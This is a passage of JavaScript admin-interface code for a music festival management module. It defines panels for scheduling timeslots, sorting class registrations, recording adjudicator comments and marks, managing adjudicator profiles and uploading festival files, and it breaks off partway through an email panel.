'_sorting5':{'label':'Class 5 Registrations - Sorting', \\n 'visible':'hidden',\\n 'fields':{\\n }},\\n '_description':{'label':'Description', 'fields':{\\n 'description':{'label':'Description', 'hidelabel':'yes', 'type':'textarea'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.scheduletimeslot.scheduletimeslot_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.scheduletimeslot.remove();'},\\n }},\\n };\\n this.scheduletimeslot.fieldValue = function(s, i, d) { \\n if( i == 'registrations1' || i == 'registrations2' || i == 'registrations3' || i == 'registrations4' || i == 'registrations5' ) {\\n return this.data.registrations;\\n }\\n return this.data[i]; \\n }\\n this.scheduletimeslot.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.scheduleTimeslotHistory', 'args':{'tnid':M.curTenantID, 'scheduletimeslot_id':this.scheduletimeslot_id, 'field':i}};\\n }\\n this.scheduletimeslot.updateRegistrations = function() {\\n var c1_id = this.formValue('class1_id');\\n var c2_id = this.formValue('class2_id');\\n var c3_id = this.formValue('class3_id');\\n var c4_id = this.formValue('class4_id');\\n var c5_id = this.formValue('class5_id');\\n this.sections._registrations1.visible = 'hidden';\\n this.sections._registrations2.visible = 'hidden';\\n this.sections._registrations3.visible = 'hidden';\\n this.sections._registrations4.visible = 'hidden';\\n this.sections._registrations5.visible = 'hidden';\\n if( this.formValue('flags1') == 'on' && this.formValue('class1_id') > 0 && this.data.classes != null ) {\\n for(var i in this.data.classes) {\\n if( this.data.classes[i].id == c1_id ) {\\n if( this.data.classes[i].registrations != null ) {\\n this.sections._registrations1.visible = 'yes';\\n this.sections._registrations1.fields.registrations1.list = this.data.classes[i].registrations;\\n }\\n }\\n if( this.data.classes[i].id == c2_id ) {\\n if( this.data.classes[i].registrations != null ) {\\n this.sections._registrations2.visible = 'yes';\\n this.sections._registrations2.fields.registrations2.list = this.data.classes[i].registrations;\\n }\\n }\\n if( this.data.classes[i].id == c3_id ) {\\n if( this.data.classes[i].registrations != null ) {\\n this.sections._registrations3.visible = 'yes';\\n this.sections._registrations3.fields.registrations3.list = this.data.classes[i].registrations;\\n }\\n }\\n if( this.data.classes[i].id == c4_id ) {\\n if( this.data.classes[i].registrations != null ) {\\n this.sections._registrations4.visible = 'yes';\\n this.sections._registrations4.fields.registrations4.list = this.data.classes[i].registrations;\\n }\\n }\\n if( this.data.classes[i].id == c5_id ) {\\n if( this.data.classes[i].registrations != null ) {\\n this.sections._registrations5.visible = 'yes';\\n this.sections._registrations5.fields.registrations5.list = this.data.classes[i].registrations;\\n }\\n }\\n }\\n }\\n this.showHideSection('_registrations1');\\n this.showHideSection('_registrations2');\\n this.showHideSection('_registrations3');\\n this.showHideSection('_registrations4');\\n this.showHideSection('_registrations5');\\n if( this.sections._registrations1.visible == 'yes' ) {\\n this.refreshSection('_registrations1');\\n }\\n if( this.sections._registrations2.visible == 'yes' ) {\\n this.refreshSection('_registrations2');\\n }\\n if( this.sections._registrations3.visible == 'yes' ) {\\n this.refreshSection('_registrations3');\\n }\\n if( this.sections._registrations4.visible == 'yes' ) {\\n this.refreshSection('_registrations4');\\n }\\n if( this.sections._registrations5.visible == 'yes' ) {\\n this.refreshSection('_registrations5');\\n }\\n this.updateSorting();\\n }\\n this.scheduletimeslot.updateSorting = function() {\\n var c1_id = this.formValue('class1_id');\\n var c2_id = this.formValue('class2_id');\\n var c3_id = this.formValue('class3_id');\\n var c4_id = this.formValue('class4_id');\\n var c5_id = this.formValue('class5_id');\\n // Update the class registrations\\n this.sections._sorting1.fields = {};\\n this.sections._sorting2.fields = {};\\n this.sections._sorting3.fields = {};\\n this.sections._sorting4.fields = {};\\n this.sections._sorting5.fields = {};\\n this.sections._sorting1.visible = 'hidden';\\n this.sections._sorting2.visible = 'hidden';\\n this.sections._sorting3.visible = 'hidden';\\n this.sections._sorting4.visible = 'hidden';\\n this.sections._sorting5.visible = 'hidden';\\n for(var i in this.data.classes) {\\n if( c1_id > 0 && this.data.classes[i].id == c1_id ) {\\n for(var j in this.data.classes[i].registrations) {\\n if( this.formValue('flags1') == 'on' ) {\\n var t = this.formValue('registrations1');\\n if( t == '' ) {\\n break;\\n } \\n var r = t.split(/,/);\\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\\n continue;\\n }\\n }\\n this.sections._sorting1.visible = 'yes';\\n this.sections._sorting1.fields['seq_' + this.data.classes[i].registrations[j].id] = {\\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\\n 'type':'text', \\n 'size':'small',\\n };\\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\\n }\\n }\\n if( c2_id > 0 && this.data.classes[i].id == c2_id ) {\\n for(var j in this.data.classes[i].registrations) {\\n if( this.formValue('flags1') == 'on' ) {\\n var t = this.formValue('registrations2');\\n if( t == '' ) {\\n break;\\n } \\n var r = t.split(/,/);\\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\\n continue;\\n }\\n }\\n this.sections._sorting2.visible = 'yes';\\n this.sections._sorting2.fields['seq_' + this.data.classes[i].registrations[j].id] = {\\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\\n 'type':'text', \\n 'size':'small',\\n };\\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\\n }\\n }\\n if( c3_id > 0 && this.data.classes[i].id == c3_id ) {\\n for(var j in this.data.classes[i].registrations) {\\n if( this.formValue('flags1') == 'on' ) {\\n var t = this.formValue('registrations3');\\n if( t == '' ) {\\n break;\\n } \\n var r = t.split(/,/);\\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\\n continue;\\n }\\n }\\n this.sections._sorting3.visible = 'yes';\\n this.sections._sorting3.fields['seq_' + this.data.classes[i].registrations[j].id] = {\\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\\n 'type':'text', \\n 'size':'small',\\n };\\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\\n }\\n }\\n if( c4_id > 0 && this.data.classes[i].id == c4_id ) {\\n for(var j in this.data.classes[i].registrations) {\\n if( this.formValue('flags1') == 'on' ) {\\n var t = this.formValue('registrations4');\\n if( t == '' ) {\\n break;\\n } \\n var r = t.split(/,/);\\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\\n continue;\\n }\\n }\\n this.sections._sorting4.visible = 'yes';\\n this.sections._sorting4.fields['seq_' + this.data.classes[i].registrations[j].id] = {\\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\\n 'type':'text', \\n 'size':'small',\\n };\\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\\n }\\n }\\n if( c5_id > 0 && this.data.classes[i].id == c5_id ) {\\n for(var j in this.data.classes[i].registrations) {\\n if( this.formValue('flags1') == 'on' ) {\\n var t = this.formValue('registrations5');\\n if( t == '' ) {\\n break;\\n } \\n var r = t.split(/,/);\\n if( r.indexOf(this.data.classes[i].registrations[j].id) < 0 ) {\\n continue;\\n }\\n }\\n this.sections._sorting5.visible = 'yes';\\n this.sections._sorting5.fields['seq_' + this.data.classes[i].registrations[j].id] = {\\n 'label':this.data.classes[i].registrations[j].name + ' - ' + this.data.classes[i].registrations[j].title1,\\n 'type':'text', \\n 'size':'small',\\n };\\n this.data['seq_' + this.data.classes[i].registrations[j].id] = this.data.classes[i].registrations[j].timeslot_sequence;\\n }\\n }\\n }\\n this.showHideSection('_options');\\n this.refreshSection('_sorting1');\\n this.refreshSection('_sorting2');\\n this.refreshSection('_sorting3');\\n this.refreshSection('_sorting4');\\n this.refreshSection('_sorting5');\\n this.showHideSection('_sorting1');\\n this.showHideSection('_sorting2');\\n this.showHideSection('_sorting3');\\n this.showHideSection('_sorting4');\\n this.showHideSection('_sorting5'); \\n return true;\\n }\\n this.scheduletimeslot.open = function(cb, sid, did, fid, list) {\\n if( sid != null ) { this.scheduletimeslot_id = sid; }\\n if( did != null ) { this.sdivision_id = did; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleTimeslotGet', \\n {'tnid':M.curTenantID, 'scheduletimeslot_id':this.scheduletimeslot_id, 'festival_id':this.festival_id, 'sdivision_id':this.sdivision_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.scheduletimeslot;\\n p.data = rsp.scheduletimeslot;\\n p.data.classes = rsp.classes;\\n p.sections.general.fields.sdivision_id.options = rsp.scheduledivisions;\\n rsp.classes.unshift({'id':0, 'name':'No Class'});\\n p.sections.general.fields.class1_id.options = rsp.classes;\\n p.sections.general.fields.class2_id.options = rsp.classes;\\n p.sections.general.fields.class3_id.options = rsp.classes;\\n p.sections.general.fields.class4_id.options = rsp.classes;\\n p.sections.general.fields.class5_id.options = rsp.classes;\\n/* p.sections._registrations1.visible = 'hidden';\\n if( rsp.scheduletimeslot.class1_id > 0 && rsp.classes != null ) {\\n for(var i in rsp.classes) {\\n if( rsp.classes[i].id == rsp.scheduletimeslot.class1_id ) {\\n if( rsp.classes[i].registrations != null ) {\\n if( (rsp.scheduletimeslot.flags&0x01) > 0 ) {\\n p.sections._registrations1.visible = 'yes';\\n }\\n p.sections._registrations1.fields.registrations1.list = rsp.classes[i].registrations;\\n }\\n }\\n }\\n } */\\n p.refresh();\\n p.show(cb);\\n p.updateRegistrations();\\n });\\n }\\n this.scheduletimeslot.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.scheduletimeslot.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.scheduletimeslot_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleTimeslotUpdate', \\n {'tnid':M.curTenantID, 'scheduletimeslot_id':this.scheduletimeslot_id, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleTimeslotAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.scheduletimeslot.scheduletimeslot_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.scheduletimeslot.remove = function() {\\n M.confirm('Are you sure you want to remove timeslot?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleTimeslotDelete', {'tnid':M.curTenantID, 'scheduletimeslot_id':M.ciniki_musicfestivals_main.scheduletimeslot.scheduletimeslot_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.scheduletimeslot.close();\\n });\\n });\\n }\\n this.scheduletimeslot.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduletimeslot_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.scheduletimeslot.save(\\\\'M.ciniki_musicfestivals_main.scheduletimeslot.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduletimeslot_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.scheduletimeslot.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.scheduletimeslot_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.scheduletimeslot.save(\\\\'M.ciniki_musicfestivals_main.scheduletimeslot_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.scheduletimeslot_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.scheduletimeslot.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.scheduletimeslot.save();');\\n this.scheduletimeslot.addClose('Cancel');\\n this.scheduletimeslot.addButton('next', 'Next');\\n this.scheduletimeslot.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to edit Schedule Time Slot Comments\\n //\\n this.timeslotcomments = new M.panel('Comments', 'ciniki_musicfestivals_main', 'timeslotcomments', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.timeslotcomments');\\n this.timeslotcomments.data = null;\\n this.timeslotcomments.festival_id = 0;\\n this.timeslotcomments.timeslot_id = 0;\\n this.timeslotcomments.nplist = [];\\n this.timeslotcomments.sections = {};\\n this.timeslotcomments.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.timeslotcomments.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.scheduleTimeslotHistory', 'args':{'tnid':M.curTenantID, 'scheduletimeslot_id':this.timeslot_id, 'field':i}};\\n }\\n this.timeslotcomments.cellValue = function(s, i, j, d) {\\n switch(j) {\\n case 0 : return d.label;\\n case 1 : return d.value;\\n }\\n }\\n this.timeslotcomments.open = function(cb, tid, fid, list) {\\n if( tid != null ) { this.timeslot_id = tid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.scheduleTimeslotCommentsGet', \\n {'tnid':M.curTenantID, 'timeslot_id':this.timeslot_id, 'festival_id':this.festival_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.timeslotcomments;\\n p.data = rsp.timeslot;\\n p.sections = {};\\n for(var i in rsp.timeslot.registrations) {\\n var registration = rsp.timeslot.registrations[i];\\n p.sections['details_' + i] = {'label':'Registration', 'type':'simplegrid', 'num_cols':2, 'aside':'yes'};\\n p.data['details_' + i] = [\\n {'label':'Class', 'value':registration.reg_class_name},\\n {'label':'Participant', 'value':registration.name},\\n {'label':'Title', 'value':registration.title1},\\n {'label':'Video', 'value':M.hyperlink(registration.video_url1)},\\n {'label':'Music', 'value':registration.music_orgfilename1},\\n ];\\n if( (registration.reg_flags&0x1000) == 0x1000 ) {\\n p.data['details_' + i].push({'label':'2nd Title', 'value':registration.title2});\\n p.data['details_' + i].push({'label':'2nd Video', 'value':M.hyperlink(registration.video_url2)});\\n p.data['details_' + i].push({'label':'2nd Music', 'value':registration.music_orgfilename2});\\n }\\n if( (registration.reg_flags&0x4000) == 0x4000 ) {\\n p.data['details_' + i].push({'label':'3rd Title', 'value':registration.title3});\\n p.data['details_' + i].push({'label':'3rd Video', 'value':M.hyperlink(registration.video_url3)});\\n p.data['details_' + i].push({'label':'3rd Music', 'value':registration.music_orgfilename3});\\n }\\n // \\n // Setup the comment, grade & score fields, could be for multiple adjudicators\\n //\\n for(var j in rsp.adjudicators) {\\n p.sections['comments_' + i] = {'label':rsp.adjudicators[j].display_name, 'fields':{}};\\n p.sections['comments_' + i].fields['comments_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\\n 'label':'Comments', \\n 'type':'textarea', \\n 'size':'large',\\n };\\n// p.sections['comments_' + i].fields['grade_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\\n// 'label':'Grade', \\n// 'type':'text', \\n// 'size':'small',\\n// };\\n p.sections['comments_' + i].fields['score_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\\n 'label':'Mark', \\n 'type':'text', \\n 'size':'small',\\n };\\n/* if( M.modFlagOn('ciniki.musicfestivals', 0x08) ) {\\n p.sections['comments_' + i].fields['placement_' + rsp.timeslot.registrations[i].id + '_' + rsp.adjudicators[j].id] = {\\n 'label':'Placement', \\n 'type':'text', \\n 'size':'large',\\n };\\n }*/\\n }\\n }\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.timeslotcomments.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.timeslotcomments.close();'; }\\n if( !this.checkForm() ) { return false; }\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.scheduleTimeslotCommentsUpdate', \\n {'tnid':M.curTenantID, 'timeslot_id':this.timeslot_id, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n }\\n this.timeslotcomments.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.timeslotcomments.save();');\\n this.timeslotcomments.addClose('Cancel');\\n\\n\\n //\\n // Adjudicators\\n //\\n this.adjudicator = new M.panel('Adjudicator', 'ciniki_musicfestivals_main', 'adjudicator', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.adjudicator');\\n this.adjudicator.data = null;\\n this.adjudicator.festival_id = 0;\\n this.adjudicator.adjudicator_id = 0;\\n this.adjudicator.customer_id = 0;\\n this.adjudicator.nplist = [];\\n this.adjudicator.sections = {\\n '_image_id':{'label':'Adjudicator Photo', 'type':'imageform', 'aside':'yes', 'fields':{\\n 'image_id':{'label':'', 'type':'image_id', 'hidelabel':'yes', 'controls':'all', 'history':'no',\\n 'addDropImage':function(iid) {\\n M.ciniki_musicfestivals_main.adjudicator.setFieldValue('image_id', iid);\\n return true;\\n },\\n 'addDropImageRefresh':'',\\n 'deleteImage':function(fid) {\\n M.ciniki_musicfestivals_main.adjudicator.setFieldValue(fid,0);\\n return true;\\n },\\n },\\n }}, \\n 'customer_details':{'label':'Adjudicator', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\\n 'cellClasses':['label', ''],\\n 'addTxt':'Edit',\\n 'addFn':'M.startApp(\\\\'ciniki.customers.edit\\\\',null,\\\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer();\\\\',\\\\'mc\\\\',{\\\\'next\\\\':\\\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer\\\\',\\\\'customer_id\\\\':M.ciniki_musicfestivals_main.adjudicator.data.customer_id});',\\n 'changeTxt':'Change customer',\\n 'changeFn':'M.startApp(\\\\'ciniki.customers.edit\\\\',null,\\\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer();\\\\',\\\\'mc\\\\',{\\\\'next\\\\':\\\\'M.ciniki_musicfestivals_main.adjudicator.updateCustomer\\\\',\\\\'customer_id\\\\':0});',\\n },\\n '_discipline':{'label':'Discipline', 'fields':{\\n 'discipline':{'label':'', 'hidelabel':'yes', 'type':'text'},\\n }},\\n '_description':{'label':'Full Bio', 'fields':{\\n 'description':{'label':'', 'hidelabel':'yes', 'type':'textarea', 'size':'xlarge'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.adjudicator.save();'},\\n 'delete':{'label':'Remove Adjudicator', \\n 'visible':function() {return M.ciniki_musicfestivals_main.adjudicator.adjudicator_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.adjudicator.remove();'},\\n }},\\n };\\n this.adjudicator.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.adjudicator.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.adjudicatorHistory', 'args':{'tnid':M.curTenantID, 'adjudicator_id':this.adjudicator_id, 'field':i}};\\n }\\n this.adjudicator.cellValue = function(s, i, j, d) {\\n if( s == 'customer_details' && j == 0 ) { return d.detail.label; }\\n if( s == 'customer_details' && j == 1 ) {\\n if( d.detail.label == 'Email' ) {\\n return M.linkEmail(d.detail.value);\\n } else if( d.detail.label == 'Address' ) {\\n return d.detail.value.replace(/\\\\n/g, '
            ');\\n }\\n return d.detail.value;\\n }\\n };\\n this.adjudicator.open = function(cb, aid, cid, fid, list) {\\n if( cb != null ) { this.cb = cb; }\\n if( aid != null ) { this.adjudicator_id = aid; }\\n if( cid != null ) { this.customer_id = cid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n if( aid != null && aid == 0 && cid != null && cid == 0 ) {\\n M.startApp('ciniki.customers.edit',null,this.cb,'mc',{'next':'M.ciniki_musicfestivals_main.adjudicator.openCustomer', 'customer_id':0});\\n return true;\\n }\\n M.api.getJSONCb('ciniki.musicfestivals.adjudicatorGet', {'tnid':M.curTenantID, 'customer_id':this.customer_id, 'adjudicator_id':this.adjudicator_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.adjudicator;\\n p.data = rsp.adjudicator;\\n if( rsp.adjudicator.id > 0 ) {\\n p.festival_id = rsp.adjudicator.festival_id;\\n }\\n p.customer_id = rsp.adjudicator.customer_id;\\n if( p.customer_id == 0 ) {\\n p.sections.customer_details.addTxt = '';\\n p.sections.customer_details.changeTxt = 'Add';\\n } else {\\n p.sections.customer_details.addTxt = 'Edit';\\n p.sections.customer_details.changeTxt = 'Change';\\n }\\n p.refresh();\\n p.show();\\n });\\n }\\n this.adjudicator.openCustomer = function(cid) {\\n this.open(null,null,cid);\\n }\\n this.adjudicator.updateCustomer = function(cid) {\\n if( cid != null ) { this.customer_id = cid; }\\n M.api.getJSONCb('ciniki.customers.customerDetails', {'tnid':M.curTenantID, 'customer_id':this.customer_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.adjudicator;\\n p.data.customer_details = rsp.details;\\n if( p.customer_id == 0 ) {\\n p.sections.customer_details.addTxt = '';\\n p.sections.customer_details.changeTxt = 'Add';\\n } else {\\n p.sections.customer_details.addTxt = 'Edit';\\n p.sections.customer_details.changeTxt = 'Change';\\n }\\n p.refreshSection('customer_details');\\n p.show();\\n });\\n }\\n this.adjudicator.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.adjudicator.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.adjudicator_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.adjudicatorUpdate', {'tnid':M.curTenantID, 'adjudicator_id':this.adjudicator_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.adjudicatorAdd', {'tnid':M.curTenantID, 'customer_id':this.customer_id, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.adjudicator.adjudicator_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.adjudicator.remove = function() {\\n M.confirm('Are you sure you want to remove adjudicator?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.adjudicatorDelete', {'tnid':M.curTenantID, 'adjudicator_id':M.ciniki_musicfestivals_main.adjudicator.adjudicator_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.adjudicator.close();\\n });\\n });\\n }\\n this.adjudicator.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.adjudicator_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.adjudicator.save(\\\\'M.ciniki_musicfestivals_main.adjudicator.open(null,' + this.nplist[this.nplist.indexOf('' + this.adjudicator_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.adjudicator.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.adjudicator_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.adjudicator.save(\\\\'M.ciniki_musicfestivals_main.adjudicator_id.open(null,' + this.nplist[this.nplist.indexOf('' + this.adjudicator_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.adjudicator.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.adjudicator.save();');\\n this.adjudicator.addClose('Cancel');\\n this.adjudicator.addButton('next', 'Next');\\n this.adjudicator.addLeftButton('prev', 'Prev');\\n\\n //\\n // The panel to display the add form\\n //\\n this.addfile = new M.panel('Add File', 'ciniki_musicfestivals_main', 'addfile', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.addfile');\\n this.addfile.default_data = {'type':'20'};\\n this.addfile.festival_id = 0;\\n this.addfile.data = {}; \\n this.addfile.sections = {\\n '_file':{'label':'File', 'fields':{\\n 'uploadfile':{'label':'', 'type':'file', 'hidelabel':'yes'},\\n }},\\n 'info':{'label':'Information', 'type':'simpleform', 'fields':{\\n 'name':{'label':'Title', 'type':'text'},\\n 'webflags':{'label':'Website', 'type':'flags', 'default':'1', 'flags':{'1':{'name':'Visible'}}},\\n }},\\n '_save':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.addfile.save();'},\\n }},\\n };\\n this.addfile.fieldValue = function(s, i, d) { \\n if( this.data[i] != null ) { return this.data[i]; } \\n return ''; \\n };\\n this.addfile.open = function(cb, eid) {\\n this.reset();\\n this.data = {'name':''};\\n this.file_id = 0;\\n this.festival_id = eid;\\n this.refresh();\\n this.show(cb);\\n };\\n this.addfile.save = function() {\\n var c = this.serializeFormData('yes');\\n if( c != '' ) {\\n M.api.postJSONFormData('ciniki.musicfestivals.fileAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c,\\n function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n } \\n M.ciniki_musicfestivals_main.addfile.file_id = rsp.id;\\n M.ciniki_musicfestivals_main.addfile.close();\\n });\\n } else {\\n this.close();\\n }\\n };\\n this.addfile.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.addfile.save();');\\n this.addfile.addClose('Cancel');\\n\\n //\\n // The panel to display the edit form\\n //\\n this.editfile = new M.panel('File', 'ciniki_musicfestivals_main', 'editfile', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.info.editfile');\\n this.editfile.file_id = 0;\\n this.editfile.data = null;\\n this.editfile.sections = {\\n 'info':{'label':'Details', 'type':'simpleform', 'fields':{\\n 'name':{'label':'Title', 'type':'text'},\\n 'webflags':{'label':'Website', 'type':'flags', 'default':'1', 'flags':{'1':{'name':'Visible'}}},\\n }},\\n '_save':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.editfile.save();'},\\n 'download':{'label':'Download', 'fn':'M.ciniki_musicfestivals_main.editfile.download(M.ciniki_musicfestivals_main.editfile.file_id);'},\\n 'delete':{'label':'Delete', 'fn':'M.ciniki_musicfestivals_main.editfile.remove();'},\\n }},\\n };\\n this.editfile.fieldValue = function(s, i, d) { \\n return this.data[i]; \\n }\\n this.editfile.sectionData = function(s) {\\n return this.data[s];\\n };\\n this.editfile.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.fileHistory', 'args':{'tnid':M.curTenantID, 'file_id':this.file_id, 'field':i}};\\n };\\n this.editfile.open = function(cb, fid) {\\n if( fid != null ) { this.file_id = fid; }\\n M.api.getJSONCb('ciniki.musicfestivals.fileGet', {'tnid':M.curTenantID, 'file_id':this.file_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.editfile;\\n p.data = rsp.file;\\n p.refresh();\\n p.show(cb);\\n });\\n };\\n this.editfile.save = function() {\\n var c = this.serializeFormData('no');\\n if( c != '' ) {\\n M.api.postJSONFormData('ciniki.musicfestivals.fileUpdate', {'tnid':M.curTenantID, 'file_id':this.file_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n } \\n M.ciniki_musicfestivals_main.editfile.close();\\n });\\n }\\n };\\n this.editfile.remove = function() {\\n M.confirm('Are you sure you want to delete \\\\'' + this.data.name + '\\\\'? All information about it will be removed and unrecoverable.',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.fileDelete', {'tnid':M.curTenantID, 'file_id':M.ciniki_musicfestivals_main.editfile.file_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n } \\n M.ciniki_musicfestivals_main.editfile.close();\\n });\\n });\\n };\\n this.editfile.download = function(fid) {\\n M.api.openFile('ciniki.musicfestivals.fileDownload', {'tnid':M.curTenantID, 'file_id':fid});\\n };\\n this.editfile.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.editfile.save();');\\n this.editfile.addClose('Cancel');\\n\\n //\\n // The panel to email a teacher their list of registrations\\n //\\n this.emailregistrations = new M.panel('Email Registrations', 'ciniki_musicfestivals_main', 'emailregistrations', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.emailregistrations');\\n this.emailregistrations.data = {};\\n this.emailregistrations.sections = {\\n '_subject':{'label':'', 'type':'simpleform', 'aside':'yes', 'fields':{\\n 'subject':{'label':'Subject', 'type':'text'},\\n }},\\n '_message':{'label':'Message', 'type':'simpleform', 'aside':'yes', 'fields':{\\n 'message':{'label':'', 